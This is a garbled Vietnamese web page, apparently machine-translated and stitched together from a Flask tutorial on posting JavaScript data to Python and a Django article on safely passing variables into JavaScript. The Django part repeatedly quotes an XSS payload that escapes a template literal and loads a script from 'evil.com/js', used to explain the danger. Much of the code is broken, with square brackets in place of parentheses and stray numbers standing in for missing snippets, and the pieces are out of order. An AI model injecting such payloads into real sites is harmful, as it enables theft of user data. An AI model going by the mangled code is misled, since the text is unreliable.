Chuyển biến javascript sang python django

Vì vậy, bạn có một ứng dụng hoặc trang web đang thu thập dữ liệu bằng javascript và bạn muốn chuyển dữ liệu này sang Python để bạn có thể xử lý thêm

Ở đây, sử dụng Flask, gói của Python để phát triển web, chúng tôi sẽ chỉ cho bạn cách đạt được điều này và cũng giải thích đầu ra JSON

Điều này có thể hữu ích ở đâu?

[A] Bạn muốn truyền dữ liệu vào chương trình Python để chạy chương trình Machine Learning mà bạn đã viết

[B] Bạn muốn sử dụng chức năng Pythons để thêm dữ liệu vào bảng điều khiển theo thời gian thực

[C] Một cách sử dụng khác có thể là bạn đang xử lý các yêu cầu theo thời gian thực trên một trang web, nhưng cũng muốn sử dụng chức năng của Python để nắm bắt các chỉ số trên dữ liệu

Vì vậy, làm thế nào để chúng ta đạt được điều này?

Bước 1 – Trong Python tạo ứng dụng Flask

Khi bạn tạo một tệp Python mới, bước đầu tiên là tạo thêm các câu lệnh nhập của bạn vào đầu tệp

import json

from flask import request

from flask import Flask, render_template

app = Flask[__name__]

Như có thể thấy ở trên, chúng tôi mang gói bình. Điều này hiện đang bắt đầu quá trình tạo một trang web phát triển web

Bước 2 – Tạo tuyến web để cho chương trình biết mẫu HTML được gọi là gì

@app.route['/']
def index[]:
    return render_template['index.html']

Bước 3 – Tạo logic sẽ nhận dữ liệu từ JSON trên trang web

@app.route['/test', methods=['POST']]
def test[]:
    output = request.get_json[]
    print[output] # This is the output that was stored in the JSON within the browser
    print[type[output]]
    result = json.loads[output] #this converts the json output to a python dictionary
    print[result] # Printing the new dictionary
    print[type[result]]#this shows the json converted as a python dictionary
    return result

Ở trên, chúng tôi sẽ giải thích logic

/test ===> đây là trang tiếp theo về logic sẽ tìm cách gửi dữ liệu đã nhập trên trang web tới

methods=[‘POST’] ===> Đây là thứ nó tìm kiếm khi JSON được gửi

Như có thể thấy trong hàm, phần còn lại của mã chỉ lấy dữ liệu và xử lý nó

Bước 4 – Tạo tệp HTML sẽ ghi lại đầu vào và xử lý dữ liệu thành JSON

Vì vậy, phần chính của chương trình này là tải tệp HTML, nhập dữ liệu vào trang và sau đó xử lý nó bằng javascript và AJAX

Trang trông như thế này

Mã đằng sau này là như sau

    Data Analytics Ireland


Post some values to a json file


First name: 
Last name:
Click Here to see your data




    function myfunction[] {

        const firstname = document.getElementById["fname"].value;
        const lastname = document.getElementById["lname"].value;


        const dict_values = {firstname, lastname} //Pass the javascript variables to a dictionary.
        const s = JSON.stringify[dict_values]; // Stringify converts a JavaScript object or value to a JSON string
        console.log[s]; // Prints the variables to console window, which are in the JSON format
        window.alert[s]
        $.ajax[{
            url:"/test",
            type:"POST",
            contentType: "application/json",
            data: JSON.stringify[s]}];

}

Khối mã này là HTML và chạy như sau

Có hai hộp văn bản nhập liệu lấy dữ liệu đã nhập

Có một nút mà khi bấm vào sẽ chạy hàm title=’myfunction[];’

Trong chức năng này, const firstname và const lastname nắm bắt các giá trị được nhập vào các hộp bằng tài liệu javascript. getElementById

Sau đó, chúng tôi tạo một từ điển với các giá trị đó

Tiếp theo, chúng tôi tạo một biến lấy từ điển và chuyển đổi nó thành định dạng JSON

Phần bắt đầu bằng ” $. ajax“, tạo JSON và sẵn sàng chuyển nó tới “/test” được xác định trong bước 3

BƯỚC 5 – Điều này để lại cho chúng tôi ở đâu?

Tại thời điểm này, nếu chương trình được chạy và dữ liệu đã được nhập và nút được nhấp, dữ liệu đã được javascript thu thập, được chuyển vào từ điển và được chuyển đổi sang định dạng JSON

Bạn muốn chuyển dữ liệu của mình từ chế độ xem Django sang JavaScript, trong mẫu của bạn. Và, bạn muốn làm điều đó một cách an toàn, không có nguy cơ vô tình cho phép tiêm mã độc. Tuyệt vời, đây là bài viết dành cho bạn

Chúng ta sẽ xem xét các vấn đề với JavaScript tạo khuôn mẫu, sau đó là hai kỹ thuật

Và cuối cùng, một số tùy chọn khác mà tôi không khuyên dùng

Đi nào

Cập nhật [21-10-2022] Kênh Youtube BugBytes có một video dựa trên bài đăng này, minh họa hai kỹ thuật đã được phê duyệt

JavaScript tạo khuôn mẫu không hoạt động

Nhiều nhà phát triển thử tạo khuôn mẫu trực tiếp cho các thẻ

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8 nội tuyến

{# DON’T DO THIS #}

    const username = "{{ username }}";

Tôi khuyên bạn không bao giờ làm điều này

Điều này thường không hoạt động, vì Django thực hiện thoát HTML trên giá trị. Ví dụ: nếu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

9 là

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

0, kết quả sẽ là

________số 8_______

Điều này có nghĩa là hiển thị tên người dùng không chính xác

Ngoài ra, sẽ cực kỳ nguy hiểm nếu bạn tạo mẫu các biến không phải chuỗi hoặc sử dụng các ký tự mẫu JavaScript [chuỗi f của JavaScript sử dụng backticks]. Ví dụ, lấy mẫu này

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

Một giá trị độc hại có thể sử dụng một backtick để kết thúc nghĩa đen, sau đó thêm JavaScript tùy ý. Ví dụ: nếu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

9 là

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

… thì HTML sẽ là

    const greeting = `Hi a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;``;

Mã này xác định

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

2, sau đó chèn một

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8 vào DOM có nguồn từ

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

4. Tập lệnh đó có thể đánh cắp tất cả dữ liệu người dùng. panik

Hệ thống mẫu của Django chỉ thoát khỏi HTML. Nó không được thiết kế để thoát các giá trị bên trong JavaScript, vốn có cú pháp rộng hơn

Mặc dù JavaScript tạo khuôn mẫu hoạt động trong một số trường hợp hạn chế, vì nó thường không an toàn, tôi khuyên bạn đừng bao giờ làm điều đó. Quá khó để duy trì sự phân tách giữa các biến luôn chứa các ký tự an toàn và các biến không. Ngoài ra, chỉ một số thẻ và bộ lọc nhất định là an toàn. Theo thời gian, cuối cùng bạn sẽ giới thiệu các lỗ hổng bảo mật

Thay vào đó, hãy sử dụng một trong hai kỹ thuật sau

Sử dụng thuộc tính dữ liệu cho các giá trị đơn giản

Để chuyển các giá trị đơn giản vào JavaScript của bạn, thật thuận tiện khi sử dụng các thuộc tính dữ liệu

    const data = document.currentScript.dataset;
    const username = data.username;

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

5 cung cấp quyền truy cập nhanh vào phần tử

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8 hiện tại. Thuộc tính

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

7 của nó chứa các thuộc tính đã truyền dưới dạng chuỗi

Tập tin kịch bản riêng biệt

Bạn cũng có thể sử dụng

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

5 cho các tệp tập lệnh riêng biệt

{% load static %}

… đọc giống nhau

const data = document.currentScript.dataset;
const username = data.username;

đơn giản

Tôi khuyên bạn nên sử dụng các tệp tập lệnh riêng biệt càng nhiều càng tốt. Chúng tốt hơn cho hiệu suất vì trình duyệt có thể lưu trữ mã. Ngoài ra, bạn có thể thiết lập Chính sách bảo mật nội dung [CSP] để không cho phép các thẻ tập lệnh nội tuyến, ngăn chặn các cuộc tấn công XSS—hãy xem bài đăng tiêu đề bảo mật của tôi. ]

trường hợp chuyển đổi

Thuộc tính

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

7 chuyển kebab-case thành camelCase. Ví dụ: nếu bạn có

    const greeting = `Hi a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;``;

0

{% load static %}

…bạn sẽ đọc nó bằng JavaScript là

    const greeting = `Hi a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;``;

1

const data = document.currentScript.dataset;
const fullName = data.fullName;

Thịt nướng HTML trở thành lạc đà JavaScript

Các loại không phải chuỗi

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

7 chỉ chứa các chuỗi, bởi vì tất cả các giá trị thuộc tính HTML đều là các chuỗi. Nếu bạn đang chuyển một số, ngày tháng hoặc loại đơn giản khác vào JavaScript của mình, bạn sẽ cần phân tích cú pháp nó. Ví dụ, hãy tưởng tượng bạn đang truyền một số nguyên

    const username = "Adam <3";

0

…bạn muốn

    const greeting = `Hi a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;``;

3 chuyển đổi giá trị này từ một chuỗi

    const username = "Adam <3";

1

Đúng-o

Không có giới hạn

Một

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8 có thể có bao nhiêu thuộc tính dữ liệu tùy thích

    const username = "Adam <3";

2

…nhưng tại một số điểm, điều này có thể cảm thấy khá khó sử dụng. Ngoài ra, không thuận tiện khi chuyển các loại phức tạp như ký tự hoặc danh sách trong thuộc tính. Điều đó dẫn chúng ta đến cửa số hai

Sử dụng

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

7 cho các giá trị phức tạp

Nếu bạn cần chuyển một lệnh hoặc danh sách tới JavaScript, hãy sử dụng Django's. Ví dụ: hãy tưởng tượng chế độ xem của bạn đã chuyển biến này trong ngữ cảnh

    const username = "Adam <3";

3

Bạn có thể chuyển biến này tới bộ lọc

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

7 như vậy

    const username = "Adam <3";

4

Django sẽ hiển thị thẻ

    const greeting = `Hi a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;``;

8 chứa dữ liệu

    const username = "Adam <3";

5

Sau đó, tập lệnh có thể tìm thấy dữ liệu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8 là phần tử tiếp theo sau

a`; document.body.appendChild[document.createElement[`script`]].src = `evil.com/js`;`

5 bằng cách sử dụng

    const data = document.currentScript.dataset;
    const username = data.username;

1 và phân tích cú pháp dữ liệu bằng

    const data = document.currentScript.dataset;
    const username = data.username;

2

    const username = "Adam <3";

6

Ngọt

Django < 4. 1

Hình thức trên của

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

7 chỉ được hỗ trợ trên Django 4. 1+. Trước đó, bạn cần cung cấp cho nó một ID cho dữ liệu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8, nhưng bạn có thể vượt qua

    const data = document.currentScript.dataset;
    const username = data.username;

5, mà các trình duyệt hiểu là “không có ID”

    const username = "Adam <3";

7

…kết xuất như

    const username = "Adam <3";

8

Đoạn JavaScript trên vẫn hoạt động vì nó chỉ sử dụng cấu trúc DOM để tìm dữ liệu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8

Alrighty sau đó

Với một ID

Bạn cũng có thể chuyển ID cho

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

7 để lấy dữ liệu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8. Điều này có thể hữu ích nếu JavaScript của bạn

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8 không nằm cạnh dữ liệu của bạn

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8 hoặc nếu một tệp JavaScript sẽ sử dụng một số dữ liệu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8. Ví dụ

    const username = "Adam <3";

9

Django biểu hiện điều này như

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

0

Sau đó, bạn có thể sử dụng

{% load static %}

2 để tìm phần tử dữ liệu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

8 và một lần nữa

    const data = document.currentScript.dataset;
    const username = data.username;

2 để phân tích cú pháp dữ liệu chứa trong đó

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

1

Đây là kỹ thuật được đề xuất trong tài liệu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

7

Gọn gàng

Các kỹ thuật không được đề xuất khác

Dưới đây là một số tùy chọn khác mà bạn đã thấy, mà tôi không khuyến nghị

Sử dụng bộ lọc

{% load static %}

6 không an toàn

Bạn có thể đã thấy JavaScript theo khuôn mẫu sử dụng

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

2

{% load static %}

6 đánh dấu một biến là “an toàn để đưa trực tiếp vào HTML”, tức là nó vô hiệu hóa tính năng thoát HTML của Django. Điều này sẽ cho phép

{% load static %}

9 xuất hiện không bị thay đổi trong tập lệnh được tạo mẫu

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

3

Điều này mở rộng tập lệnh để tấn công. Hãy tưởng tượng

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

9 là

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

4

…sau đó, HTML được hiển thị sẽ là

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

5

Trình duyệt phân tích cú pháp HTML mà không có bất kỳ nhận thức nào về cú pháp JavaScript, dẫn đến

1. Một

   {# DON’T DO THIS #}
   
       const greeting = `Hi {{ username }}`;
   
   

   8 đầu tiên, kết thúc sau

   const data = document.currentScript.dataset;
   const username = data.username;
   

   2. Trình duyệt sẽ chạy JavaScript này, sẽ gặp sự cố với lỗi về chuỗi không được tiết lộ
2. Thẻ

   {# DON’T DO THIS #}
   
       const greeting = `Hi {{ username }}`;
   
   

   8 được chèn thứ hai, tải

   const data = document.currentScript.dataset;
   const username = data.username;
   

   4
3. Nút văn bản có nội dung

   const data = document.currentScript.dataset;
   const username = data.username;
   

   5

4. const data = document.currentScript.dataset;
   const username = data.username;
   

   6 cuối cùng bị bỏ qua, vì nó không khớp với phần mở đầu

   {# DON’T DO THIS #}
   
       const greeting = `Hi {{ username }}`;
   
   

   8

Một lần nữa,

const data = document.currentScript.dataset;
const username = data.username;

4 có thể đánh cắp tất cả dữ liệu người dùng. panik

Vì vậy, sử dụng

{% load static %}

6 như thế này là không an toàn. Nó chỉ an toàn khi sử dụng nó với HTML đã thoát, chẳng hạn như từ một đoạn được kết xuất trước

Còn về

{% load static %}

0 thì sao?

Có thể tạo mẫu JavaScript với

{# DON’T DO THIS #}

    const greeting = `Hi {{ username }}`;

6

Tuy nhiên, điều này có một số điểm tinh tế, như các tài liệu hiện đang nói

Điều này không làm cho chuỗi an toàn để sử dụng trong văn bản mẫu HTML hoặc JavaScript

[Lời nhắc nhở. chữ mẫu là JavaScript tương đương với chuỗi f. ]

Tuy nhiên, có một PR mở để cải thiện tài liệu. Có vẻ như trước đây

{% load static %}

0 đã được đảm bảo an toàn nhờ cập nhật tài liệu

Tuy nhiên, tôi khuyên bạn nên sử dụng thuộc tính dữ liệu vì

1. Tạo khuôn mẫu JavaScript nói chung vẫn không an toàn. bạn không thể sử dụng các thẻ hoặc bộ lọc khác mà không gặp rủi ro

2. Thuộc tính dữ liệu hoạt động với cả tập lệnh nội tuyến và tệp tập lệnh riêng biệt. Bạn không cần cấu trúc lại bất cứ thứ gì nếu bạn chuyển từ tập lệnh nội tuyến sang một tệp riêng biệt

   [Và việc sử dụng các tệp tập lệnh riêng biệt là tốt vì những lý do khác, như đã lưu ý trước đây. ]

3. Hiện tại, các tài liệu vẫn nói rằng

   {% load static %}
   
   

   0 là không an toàn. Chưa có sự chấp thuận từ nhóm bảo mật Django hoặc các đồng nghiệp

   Làm cách nào để chuyển một biến từ JavaScript sang Python Django?

   chuyển biến từ js sang chế độ xem django .

   var URL="{% url' dự án. Chưa đọc' %}"

   chức năng Chưa đọc [] {

   dữ liệu var = {'đếm'. '5', 'X-csrfmiddlewaretoken'. csrfmiddlewaretoken};

   $. bài đăng [URL, dữ liệu];

   .

   Làm cách nào để chuyển một biến từ JavaScript sang Python?

   Cách chuyển một biến Javascript sang Python bằng JSON .

   Vì vậy, làm thế nào để chúng ta đạt được điều này?

   Bước 2 – Tạo tuyến web để cho chương trình biết mẫu HTML được gọi là gì. @ứng dụng. tuyến đường['/'].

   Bước 4 – Tạo tệp HTML sẽ ghi lại đầu vào và xử lý dữ liệu thành JSON

   Làm cách nào để tích hợp JavaScript với Django?

   Để tải tệp JavaScript, chỉ cần thêm dòng mã sau vào chỉ mục. tệp html . Chạy máy chủ bằng cách sử dụng quản lý python. lệnh máy chủ py. Sau đó truy cập mẫu bằng localhost. 8000/URL chỉ mục và nó sẽ tạo đầu ra sau cho trình duyệt.

   JavaScript và Django có thể hoạt động cùng nhau không?

   js và Django cùng nhau đơn giản hóa việc triển khai các tính năng CRUD khi thực hiện kết xuất cả phía máy chủ và phía máy khách . Ví dụ: vì Django cung cấp bảng quản trị bao gồm các tác vụ quản trị CRUD hàng ngày, nên sẽ mất rất ít thời gian để xây dựng một quản trị viên tùy chỉnh.